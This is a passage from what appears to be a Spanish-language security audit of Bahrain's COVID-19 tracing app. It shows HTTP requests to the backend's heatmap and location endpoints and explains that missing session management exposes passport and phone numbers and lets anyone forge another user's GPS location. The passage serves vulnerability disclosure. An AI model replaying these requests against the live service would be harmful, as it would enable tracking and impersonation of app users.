POST /corona-tracking-client-api/trace/positive/heatmap HTTP/1.1
Host: apps.bahrain.bh
Connection: close
Origin: http://localhost
language: english
Accept-Language: en
Authorization: Basic [REDACTED]
Content-Type: application/json
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Linux; Android 7.1.2; Nexus 5 Build/NJH47F; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/67.0.3396.87 Mobile Safari/537.36
appname: BCT
platform: android
Referer: http://localhost/
Accept-Encoding: gzip, deflate
X-Requested-With: bh.bahrain.corona.tracker
Content-Length: 21
[REDACTED]
Durante nuestras pruebas, esta lista contenía 10 000 puntos únicos. Este es un extracto de la respuesta obtenida:
{
"list": [
{
"key": "thshb50",
"latitude": 26.[REDACTED],
"longitude": 50.[REDACTED],
"weight": [REDACTED]
},
{
"key": "thsj120",
"latitude": 26.[REDACTED],
"longitude": 50.[REDACTED],
"weight": [REDACTED]
},
{
"key": "theuxfv",
"latitude": 26.[REDACTED],
"longitude": 50.[REDACTED],
"weight": [REDACTED]
},
{
"key": "thsj15q",
"latitude": 26.[REDACTED],
"longitude": 50.[REDACTED],
"weight": [REDACTED]
},
{
"key": "thsh2jd",
"latitude": 26.[REDACTED],
"longitude": 50.[REDACTED],
"weight": [REDACTED]
},
{
"key": "thevjcz",
"latitude": 26.[REDACTED],
"longitude": 50.[REDACTED],
"weight": [REDACTED]
},
El mapa de calor se recreó para generar el siguiente mapa:

Esta información puede cotejarse con otros recursos públicos, como la lista de todas las personas infectadas por edad, género y nacionalidad:

Información de identificación personal
Un usuario de la aplicación puede decidir realizar el proceso de registro. La aplicación fomenta este paso para «ayudar a prevenir la propagación del virus». Hay 2 formas de registrarse:
- Registrarse con un número CPR (documento de identidad bahreiní)
- Registrarse con un número de pasaporte
Al no disponer de un número CPR válido, pudimos usar un número de pasaporte para registrarnos. A continuación, la aplicación solicita el número de teléfono móvil para completar el registro mediante el envío de un OTP.


Tras el registro, la aplicación recopila y transmite de forma continua las coordenadas GPS del teléfono al backend. La información transmitida contiene también el pasaporte / CPR y el número de teléfono móvil. Esto se debe a la ausencia de cualquier gestión de sesiones en la aplicación. Esto también permite a los atacantes falsificar las coordenadas GPS de otros usuarios, siempre que se disponga de su número de teléfono y de su identificador.
Este es un ejemplo de las solicitudes enviadas:
POST /corona-tracking-client-api/locations HTTP/1.1
Content-Type: application/json; charset=utf-8
Content-Length: 495
Host: apps.bahrain.bh
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.12.11
{"location":{"event":"motionchange","is_moving":false,"uuid":"c68c095c-0058-4bb7-91db-36bca8892e9c","timestamp":"2020-06-02T23:08:48.000Z","odometer":0,"coords":{"latitude":26.164627075195312,"longitude":50.62568664550781,"accuracy":100,"speed":0,"heading":0,"altitude":170},"activity":{"type":"still","confidence":100},"battery":{"is_charging":true,"level":1},"extras":{}},"userDevice":{"userType":"passport","userId":"12AAXXXXXXXX","deviceId":"707af21c623b95bc","mobileNumber":"+447XXXXXXXXX"}}
Nota: El valor del parámetro userId es el número de pasaporte.
En la tabla de actividad del proxy de red podemos ver con qué regularidad se envía la ubicación del usuario al servidor backend:
| URL | Fecha |
|---|---|
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:27:26 GMT |
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:27:02 GMT |
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:26:02 GMT |
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:25:02 GMT |
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:24:32 GMT |
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:23:00 GMT |
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:21:44 GMT |
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:16:15 GMT |
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:15:08 GMT |
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:14:32 GMT |
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:12:53 GMT |
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:11:49 GMT |
| /corona-tracking-client-api/locations | Wed, 03 Jun 2020 08:10:37 GMT |
Accesibilidad
La aplicación ofrece buenas funciones de accesibilidad, ya que admite varios idiomas, entre ellos inglés, urdu y farsi.

La aplicación puede ser utilizada por cualquier persona, no hay restricciones sobre el número de teléfono ni el identificador.
La aplicación también es pequeña (menos de 11 Mb), pero consume muchos recursos debido a la necesidad de transmitir continuamente las coordenadas GPS del teléfono.

